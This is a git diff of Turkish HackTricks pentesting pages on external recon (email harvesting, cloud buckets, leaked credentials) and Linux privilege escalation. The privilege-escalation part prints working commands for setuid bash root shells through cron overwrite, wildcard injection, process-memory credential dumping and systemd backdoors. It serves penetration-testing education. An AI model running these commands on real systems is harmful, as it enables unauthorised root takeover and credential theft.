cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Ekran Görüntüleri**
|
||||
|
||||
Artık kapsamda bulunan **tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. Bu yüzden, basit tutalım ve hepsinin ekran görüntülerini almaya başlayalım. Sadece **ana sayfaya bakarak** daha **savunmasız** olabilecek **garip** uç noktalar bulabilirsiniz.
|
||||
Artık kapsamda bulunan **tüm web sunucularını** (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) keşfettiğinize göre, muhtemelen **nereden başlayacağınızı bilmiyorsunuz**. O yüzden, bunu basit tutalım ve hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir **göz atarak**, daha **savunmasız** olma eğiliminde olan **garip** uç noktalar bulabilirsiniz.
|
||||
|
||||
Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz.
|
||||
|
||||
@ -501,9 +502,9 @@ Ayrıca, **screenshot**'ları taramak için [**eyeballer**](https://github.com/B
|
||||
|
||||
## Kamu Bulut Varlıkları
|
||||
|
||||
Bir şirkete ait potansiyel bulut varlıklarını bulmak için **o şirketi tanımlayan anahtar kelimelerle bir listeye başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi** ile başlamalısınız. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak:
|
||||
Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine de ihtiyacınız olacak:
|
||||
|
||||
- [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
@ -511,30 +512,30 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine
|
||||
|
||||
Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Brute-Force**](./#second-dns-bruteforce-round) bölümüne bakın).
|
||||
|
||||
Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
|
||||
Elde edilen kelime listeleri ile [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.**
|
||||
|
||||
Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**.
|
||||
|
||||
### **Zayıf Noktaları Arama**
|
||||
|
||||
**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, **onlara erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
|
||||
**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz.
|
||||
|
||||
## E-postalar
|
||||
|
||||
Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için ihtiyaç duyduğunuz her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
|
||||
Kapsam içindeki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için** ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır:
|
||||
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile
|
||||
- [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm)
|
||||
- [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm)
|
||||
- [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm)
|
||||
|
||||
### **Zayıf Noktaları Arama**
|
||||
|
||||
E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **brute-force** yapmak için daha sonra işe yarayacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
|
||||
E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **brute-force** yapmak için faydalı olacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır.
|
||||
|
||||
## Kimlik Bilgisi Sızıntıları
|
||||
|
||||
**Alan adları**, **alt alan adları** ve **e-postalar** ile, bu e-postalara ait geçmişte sızdırılan kimlik bilgilerini aramaya başlayabilirsiniz:
|
||||
**Alan adları**, **alt alan adları** ve **e-postalar** ile, geçmişte bu e-postalara ait sızdırılmış kimlik bilgilerini aramaya başlayabilirsiniz:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
@ -545,14 +546,14 @@ E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **
|
||||
|
||||
## Gizli Bilgi Sızıntıları
|
||||
|
||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir:
|
||||
Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu verilerin bulunmadığı **diğer sızıntılardan** da etkilenebilir:
|
||||
|
||||
### Github Sızıntıları
|
||||
|
||||
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık kaynaklı depolarında** sızdırılabilir.\
|
||||
**Leakos** adlı aracı kullanarak bir **organizasyonun** ve onun **geliştiricilerinin** tüm **açık reposunu** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
|
||||
Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\
|
||||
Bir **organizasyonun** ve **geliştiricilerinin** tüm **açık reposunu** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz.
|
||||
|
||||
**Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **sağlanan URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
|
||||
**Leakos**, bazen **web sayfalarının da gizli bilgiler** içermesi nedeniyle, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
@ -564,14 +565,14 @@ github-leaked-secrets.md
|
||||
|
||||
### Paste Sızıntıları
|
||||
|
||||
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
|
||||
Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
|
||||
Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde** **yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\
|
||||
Aynı anda 80'den fazla paste sitesinde arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Eski ama altın değerinde google dorks, **orada olmaması gereken açık bilgileri bulmak için** her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **bin** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
|
||||
Eski ama altın değerindeki google dorks, **orada olmaması gereken** **açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz.
|
||||
|
||||
_Not edin ki, tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
|
||||
_Not: Tüm veritabanını normal Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._
|
||||
|
||||
### **Zayıf Noktaları Arama**
|
||||
|
||||
@ -587,15 +588,15 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulursanız, bunu **analiz edeb
|
||||
../../network-services-pentesting/pentesting-web/code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca, **açık kaynaklı depoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
|
||||
Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır:
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Hata avcıları tarafından bulunan zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
|
||||
**Hata avcıları tarafından bulunan** **zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
|
||||
Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.**
|
||||
|
||||
## Tekrar
|
||||
|
||||
@ -603,11 +604,11 @@ Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network
|
||||
|
||||
Artık şunları buldunuz:
|
||||
|
||||
1. Kapsamdaki **tüm şirketleri** buldunuz
|
||||
1. Kapsam içindeki **tüm şirketleri** buldunuz
|
||||
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsamda ise bazı zayıflık taramaları gerçekleştirdiniz)
|
||||
3. Şirketlere ait **tüm alan adlarını** buldunuz
|
||||
4. Alan adlarının **tüm alt alan adlarını** buldunuz (herhangi bir alt alan ele geçirme?)
|
||||
5. Kapsamdaki **tüm IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
|
||||
5. Kapsam içindeki **tüm IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz.
|
||||
6. **Tüm web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?)
|
||||
7. Şirkete ait **potansiyel kamu bulut varlıklarını** buldunuz.
|
||||
8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir.
|
||||
@ -626,5 +627,4 @@ Belirli bir kapsamda önerilen eylemlerin bir kısmını gerçekleştirecek birk
|
||||
|
||||
- [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) gibi
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### OS bilgisi
|
||||
|
||||
İşletim sisteminin bilgilerini edinmeye başlayalım
|
||||
İşletim sisteminin çalıştığı hakkında bilgi edinmeye başlayalım
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### Path
|
||||
|
||||
Eğer **`PATH`** değişkeni içindeki herhangi bir klasörde yazma izinleriniz varsa, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz:
|
||||
Eğer `PATH` değişkeni içindeki herhangi bir klasörde **yazma izinleriniz varsa**, bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz:
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
@ -49,7 +49,7 @@ Her zaman **Google'da çekirdek sürümünü arayın**, belki çekirdek sürüm
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8
|
||||
Linux Yetki Yükseltme - Linux Çekirdeği <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||||
```
|
||||
### Sudo sürümü
|
||||
|
||||
Görünüşteki savunmasız sudo sürümlerine dayanarak:
|
||||
Göründüğü üzere, savunmasız sudo sürümleri:
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
**Nelerin monte edildiğini ve monte edilmediğini**, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey monte edilmemişse, onu monte etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -150,7 +150,7 @@ Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını kontrol edin**.
|
||||
```
|
||||
### Güvenlik Açığı Olan Yazılımlar Yüklü
|
||||
|
||||
**Yüklenen paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\
|
||||
Yüklenen **paketlerin ve hizmetlerin sürümünü** kontrol edin. Belki de ayrıcalıkları artırmak için istismar edilebilecek eski bir Nagios sürümü vardır (örneğin)...\
|
||||
Daha şüpheli yüklü yazılımların sürümünü manuel olarak kontrol etmeniz önerilir.
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -168,12 +168,12 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Her zaman mümkün olan [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırında `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Her zaman mümkün olan [**electron/cef/chromium debuggers**'ın çalışıp çalışmadığını kontrol edin, bunu yetkileri artırmak için kötüye kullanabilirsiniz](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırındaki `--inspect` parametresini kontrol ederek bunları tespit eder.\
|
||||
Ayrıca **işlemlerin ikili dosyaları üzerindeki yetkilerinizi kontrol edin**, belki birinin üzerine yazabilirsiniz.
|
||||
|
||||
### Süreç izleme
|
||||
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir gereksinim seti karşılandığında zayıf süreçleri tanımlamak için çok yararlı olabilir.
|
||||
[**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanarak süreçleri izleyebilirsiniz. Bu, sıkça yürütülen veya belirli bir dizi gereksinim karşılandığında zayıf süreçleri tanımlamak için çok yararlı olabilir.
|
||||
|
||||
### Süreç belleği
|
||||
|
||||
@ -182,14 +182,14 @@ Genellikle, diğer kullanıcılara ait süreçlerin belleğini okumak için **ro
|
||||
Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın**.
|
||||
|
||||
> [!WARNING]
|
||||
> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da yetkisiz kullanıcıya ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
> Günümüzde çoğu makinenin **varsayılan olarak ptrace'a izin vermediğini** unutmayın, bu da yetkisiz kullanıcınıza ait diğer süreçleri dökemezsiniz anlamına gelir.
|
||||
>
|
||||
> _**/proc/sys/kernel/yama/ptrace_scope**_ dosyası ptrace erişimini kontrol eder:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: tüm süreçler, aynı uid'ye sahip oldukları sürece hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir.
|
||||
> - **kernel.yama.ptrace_scope = 1**: yalnızca bir ana süreç hata ayıklanabilir.
|
||||
> - **kernel.yama.ptrace_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i tekrar etkinleştirmek için yeniden başlatma gereklidir.
|
||||
> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i tekrar etkinleştirmek için bir yeniden başlatma gerekir.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemlerin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz.
|
||||
Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sahte dosyası **işlemin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi kullanarak **mem dosyasına erişip tüm okunabilir bölgeleri** bir dosyaya döküyoruz.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -270,7 +270,7 @@ Bir işlem belleğini dökmek için şunları kullanabilirsiniz:
|
||||
|
||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve sizin sahip olduğunuz işlemi dökebilirsiniz
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresinden Script A.5 (root gereklidir)
|
||||
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adresindeki Script A.5 (root gereklidir)
|
||||
|
||||
### İşlem Belleğinden Kimlik Bilgileri
|
||||
|
||||
@ -281,7 +281,7 @@ Eğer doğrulayıcı işlemin çalıştığını bulursanız:
|
||||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
```
|
||||
Süreci dökebilirsiniz (bir sürecin belleğini dökmenin farklı yollarını bulmak için önceki bölümlere bakın) ve belleğin içinde kimlik bilgilerini arayabilirsiniz:
|
||||
Süreci dökebilirsiniz (bir sürecin belleğini dökmenin farklı yollarını bulmak için önceki bölümlere bakın) ve bellekte kimlik bilgilerini arayabilirsiniz:
|
||||
```bash
|
||||
./dump-memory.sh 2027
|
||||
strings *.dump | grep -i password
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Zamanlanmış/Cron görevleri
|
||||
|
||||
Herhangi bir zamanlanmış görevin zayıf olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard zayıflığı mı? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
|
||||
Herhangi bir zamanlanmış görevin zayıf olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard zafiyeti mi? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -327,7 +327,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
|
||||
(_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğunu not edin_)
|
||||
|
||||
Eğer bu crontab içinde root kullanıcısı yolu ayarlamadan bazı komut veya betikler çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
|
||||
Eğer bu crontab içinde root kullanıcısı bir komut veya scripti yolu ayarlamadan çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\
|
||||
O zaman, şunu kullanarak bir root shell elde edebilirsiniz:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron bir joker karakter ile bir script kullanma (Joker Karakter Enjeksiyonu)
|
||||
|
||||
Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler (örneğin privesc) yapmak için kullanabilirsiniz. Örnek:
|
||||
Eğer root tarafından yürütülen bir script bir komutun içinde “**\***” içeriyorsa, bunu beklenmedik şeyler yapmak için (örneğin privesc) kullanabilirsiniz. Örnek:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
@ -356,15 +356,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Eğer root tarafından yürütülen script, **tam erişiminizin olduğu bir dizin kullanıyorsa**, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
Eğer root tarafından yürütülen script, **tam erişiminiz olan bir dizini** kullanıyorsa, belki de o klasörü silmek ve **kontrolünüzdeki bir script'i hizmet eden başka birine symlink klasörü oluşturmak** faydalı olabilir.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Sık Cron Görevleri
|
||||
|
||||
Her 1, 2 veya 5 dakikada bir yürütülen süreçleri aramak için süreçleri izleyebilirsiniz. Belki bunu avantaja çevirip ayrıcalıkları artırabilirsiniz.
|
||||
Her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri aramak için süreçleri izleyebilirsiniz. Belki bundan yararlanabilir ve ayrıcalıkları artırabilirsiniz.
|
||||
|
||||
Örneğin, **1 dakika boyunca her 0.1 saniyede bir izlemek**, **daha az yürütülen komutlara göre sıralamak** ve en çok yürütülen komutları silmek için şunu yapabilirsiniz:
|
||||
Örneğin, **1 dakika boyunca her 0.1 saniyede bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -380,12 +380,12 @@ Bir cron işi **bir yorumdan sonra bir satır sonu karakteri olmadan bir satır
|
||||
|
||||
### Yazılabilir _.service_ dosyaları
|
||||
|
||||
Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, onu **değiştirip** hizmet **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde **ayarlayabilirsiniz** (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\
|
||||
Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin, eğer yazabiliyorsanız, bunu **değiştirebilir** ve **hizmet başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **arka kapınızı çalıştıracak** şekilde ayarlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekecek).\
|
||||
Örneğin, arka kapınızı .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun.
|
||||
|
||||
### Yazılabilir hizmet ikili dosyaları
|
||||
|
||||
Eğer hizmetler tarafından yürütülen ikili dosyalar üzerinde **yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
Eğer **hizmetler tarafından yürütülen ikili dosyalar üzerinde yazma izinleriniz varsa**, bunları arka kapılarla değiştirebilirsiniz, böylece hizmetler yeniden yürütüldüğünde arka kapılar çalıştırılacaktır.
|
||||
|
||||
### systemd PATH - Göreli Yollar
|
||||
|
||||
@ -399,13 +399,13 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmet, savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin).
|
||||
Sonra, yazabileceğiniz systemd PATH klasörü içinde **göreli yol ikili dosyasıyla aynı isme sahip bir **çalıştırılabilir** dosya oluşturun ve hizmetten savunmasız eylemi (**Başlat**, **Durdur**, **Yenile**) gerçekleştirmesi istendiğinde, **arka kapınız çalıştırılacaktır** (yetkisiz kullanıcılar genellikle hizmetleri başlatamaz/durduramaz, ancak `sudo -l` kullanıp kullanamayacağınızı kontrol edin).
|
||||
|
||||
**Hizmetler hakkında daha fazla bilgi edinin: `man systemd.service`.**
|
||||
|
||||
## **Zamanlayıcılar**
|
||||
|
||||
